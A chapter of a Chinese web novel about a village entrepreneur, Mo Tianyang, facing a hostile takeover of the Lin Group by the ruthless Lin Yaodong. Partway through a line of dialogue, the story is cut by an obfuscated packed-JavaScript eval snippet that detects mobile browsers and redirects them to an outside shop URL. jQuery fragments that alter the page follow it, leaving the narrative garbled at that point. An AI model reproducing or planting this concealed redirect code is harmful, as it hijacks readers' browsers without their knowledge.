挂断电话后,莫天扬站在窗前,望着远处苍茫起伏的青木山,眉头无声地蹙紧。
楚婧雅带来的消息,印证了他长久以来隐约的预感——林耀东这条潜伏在暗处的毒蛇,终于彻底亮出了毒牙。而首当其冲的,很可能就是他这个被对方视为“掌握着独特资源”的乡下人。
林氏集团内部的腥风血雨,他无心也无力介入。但林耀东那毫不掩饰的贪婪与没有底线的作风,注定会将战火向外蔓延。他在这里经营的生态农业、特色加工,尤其是那些已初见成效、潜力巨大的独家配方和种植技术,在林耀东眼中,无疑是一块令人垂涎的肥肉。
“天扬,怎么了?脸色这么沉。”刘思雨端着一杯水走近,关切地问。她方才隐约听到了“林氏集团”“出事”几个字眼。
莫天扬转身接过水杯,并未隐瞒:“林氏集团高层内斗,新上位的林耀东是个不择手段的人。他可能会盯上我们这儿,带来麻烦。”
刘思雨心里一紧:“是针对村子,还是针对你?”
“本质上,是针对利益。”莫天扬抿了口水,眼神冷静而锐利,“我们手里的东西有了价值,自然会被人惦记。林耀东这种人,只信掠夺和掌控,不懂合作共赢。”
“那我们怎么办?”刘思雨忧心忡忡。青木村刚走上正轨,大家的生活才有了盼头,她实在害怕这来之不易的安宁被外来的风浪击碎。
“兵来将挡,水来土掩。不能给他任何可乘之机。”莫天扬放下水杯,语气沉稳,“我手里的凝露、屠苏配方,还有那些蔬菜瓜果的种植技术,都是他垂涎的目标。所以内部绝不能乱。”
他看向刘思雨,目光深邃:“思雨,我们需要眼睛和耳朵。留意一切不寻常的动静——有没有陌生人在村子附近转悠打听,有没有人用高价或特殊条件试图拉拢我们的员工或农户。”
刘思雨郑重点头:“我明白,我会悄悄提醒大家,都留个心眼。”
莫天扬轻轻拍了拍她的肩:“别太紧张,但绝不能大意。扎扎实实做好自己的事,把青木村建设得更好,就是我们最大的底气。这事,不要让太多的人知道,晚上咱们和标叔他们商量一下。”
……
城市的另一端。
楚婧雅放下手机,秀眉紧锁。莫天扬的警告在她耳边反复回响。她了解莫天扬,他绝非危言耸听之人。能让他如此郑重提醒,只说明林耀东的危险性,远非表面看来那么简单。
她起身走到办公室的落地窗前。林氏集团那座标志性大厦依然灯火通明,只是如今坐在顶楼那个位置上的人,已换成了心狠手辣的林耀东。
“不能参与进去……”她低声重复莫天扬的话,心中却清楚,以自己所处的行业和位置,想要完全置身事外,几乎不可能。
林耀东全面掌控林氏后,必然会有大动作,商界格局随之动荡。而莫天扬与他的青木村,很可能成为这场风暴中的一个目标,甚至一个突破口。
莫天扬说得对,林耀东风头正劲之时,也正是最容易露出破绽的时候。她需要更谨慎地观察,收集信息——不为主动出击,只为在关键时刻,能为远在青木村的他,也为她自己,多争取一道预警,或一个转圜的余地。
陡然间,楚婧雅心念一动,神色凝重起来。
莫天扬是她的男人,她自认为了解他。关于林耀东和林氏集团的消息,原本都是她告诉他的。可如今,反倒是莫天扬给了她如此严厉的警告。回想近来,每每谈及林耀东,莫天扬的分析总是精准透彻,这绝非仅凭道听途说就能做到的。
楚婧雅站起身,杏眸中掠过一丝惊疑。莫天扬所说的许多关于林耀东的细节,她似乎并未向他提过。这意味着,除了自己,莫天扬另有获取信息的渠道,且可能比她的更深入。
可莫天明明只是个普通人,别说在沛川,即便在浅驼县也相识有限。他究竟如何能获取连她都难以触及的消息?
“难道……”
一个念头闪过——莫非莫天扬还有别的身份?楚婧雅的心跳不由加快。那次意外之后,她早已将他视作一生的托付,只是碍于家世顾虑。倘若他真有隐藏的身份背景,那……
激动之余,她再次翻出关于莫天扬的调查资料,一字一句仔细审阅,眼中却渐渐浮起困惑。资料显示,他过往的经历清白简单,就像一张白纸,与常人无异。
下一刻,楚婧雅目光微凝。
她想起了那三个始终默默跟随莫天扬的人,更通过特殊渠道知晓,那个叫王海龙的,绝非寻常角色。
“是他们……”
……
雀沟边,莫天扬静静注视着日渐升高的堤坝。工程虽未全部完工,但坝内蓄水已深达一米有余。若非眼下菜地、戈壁滩及山上的林木都亟需灌溉,这蓄水量恐怕远不止如此。水光潋滟,倒映着天边舒卷的云和远处青山的轮廓,平静之下仿佛蕴藏着难以估量的力量。
堤坝下方的雀沟白菜地里,一棵棵白菜早已包心结实,如同列队的士兵般挺拔整齐。叶片白嫩如玉,青翠欲滴,在阳光下泛着健康的光泽,只看一眼便令人心生欢喜。
身边的小白忽然低低呜咽一声,耳朵警觉地竖起。莫天扬转身,看见王海龙正朝他这边快步走来。他目光扫过四周,选了处避开来往游人视线的僻静角落,等待对方走近。
“天扬,有事?”王海龙压低了声音。
莫天扬深吸一口气,山间清冷的空气灌入胸腔。“刚接到婧雅的消息,林氏集团变天了。林耀东成了最大股东,林家老爷子被气得住了院,情况似乎不太妙。”
王海龙神情骤然一凛。他们一直暗中关注林耀东的动向,知道此人必有所图,却没想到短短数月,林氏竟真被他攫入掌中。回想莫天扬前些时日的判断,王海龙看向他的眼神里多了一丝不易察觉的凝重。
“天扬,林耀东既已掌控林氏,一旦稳住局面,接下来必会大展野心。你这里……很可能成为他的目标之一。”
莫天扬点了点头,目光投向远处起伏的山峦。“林耀东手段狠辣,这次是带着林浩宇那个二世祖去了趟赌城,硬是逼他交出了手中百分之五的股份,这才一举翻盘。林家人不会甘心,他想完全坐稳位置,还得费
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17009349|177151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
些功夫。”
“眼下正是他动作最大的时候,”莫天扬转回视线,语气冷静,“让沛川的兄弟们多留心。林耀东这人阴险,但若没有‘眼镜蛇’在背后支撑,他也未必敢如此放肆。”
“明白。”王海龙应下,随即又想起一事,“对了,你之前让查‘动物保护中心’那件事,有点眉目了。确实有人盯上了这片地方,想借保护动物的名头捞好处。不过思雨上次说的那个负责人,只是个摆在明面的傀儡,真正下指令的,另有其人。”
“就这么片山沟野地,倒成了香饽饽。”莫天扬嘴角浮起一丝冷峭的弧度,“海哥,那天思雨提的时候我就想过,未必是林家人。我怀疑……和当年针对王传林他们的,是同一只黑手。”
他顿了顿,声音沉缓下来,像在剖析一道复杂的谜题:“手法很像。都是先找个冠冕堂皇的理由靠近,再一步步渗透、掌控。只不过,这次他们换了个更隐蔽的壳子。”
王海龙的眼神骤然锐利,如同蛰伏的鹰隼终于瞥见了风中那一丝异样的气息。“王传林的事过去这么久,他自己也从没放弃追查,可至今都没揪出幕后黑手。连我们暗中留意,线索也总是断得莫名其妙……”
莫天扬蹲下身,随手拔起一根枯草,在指间缓缓捻动,草茎渐渐碎成细末。“青木山这片地方,我们看到的,是水土,是产出。但有些人……或许看到了更深、更不一样的东西。”
他停顿片刻,声音低了几分,“王叔他们以前常说,做生意那些年如履薄冰,从不敢轻易得罪人。我心里……一直隐隐觉得,他们集团当年出事,或许和我有些关联。”
“难道也是因为你种植的蔬菜,或是那些药酒配方?”王海龙沉声问。
莫天扬深吸一口山间清冷的空气,摇了摇头。“我不确定,这只是一种模糊的预感。但事出反常,总有其根由。”
他站起身,拍了拍手上的草屑,转换了话题,“对了,学校的事,我们之前商议过。你回头联系你那几位信得过的战友,请他们分批次过来。我可以借着技术培训或者安保扩编的名义,把他们稳妥地安排下来。”
“太好了!”王海龙脸上露出难得的笑意,“他们私下问过我好几回了,都盼着能有个安稳的着落。”
“还有,”莫天扬接着说,语气温和而周密,“学校开学后,食堂、清洁这些后勤岗位也需要不少人手。眼下都是峰叔和几位婶子在操持,他们年纪渐长,终究太过辛苦。你问问你那些战友,他们的家属如果愿意,可以一起过来。孩子能在咱们这儿上学,一家人团聚,彼此也好有个照应。”
王海龙心头一暖,重重吐了口气。“天扬,你想得太周到了!我跟他们提过你,他们这段时间也没少看关于你和咱们村的报道,知道你待人厚道,福利实在。能举家过来,他们肯定一百个愿意。”
“那就好。”莫天扬点点头,神色恳切,“具体的待遇和安置细节,等大家过来了,我们当面再细谈。青木村是大家的根,也是大家的未来,绝不会亏待任何一位真心实意留下的人。”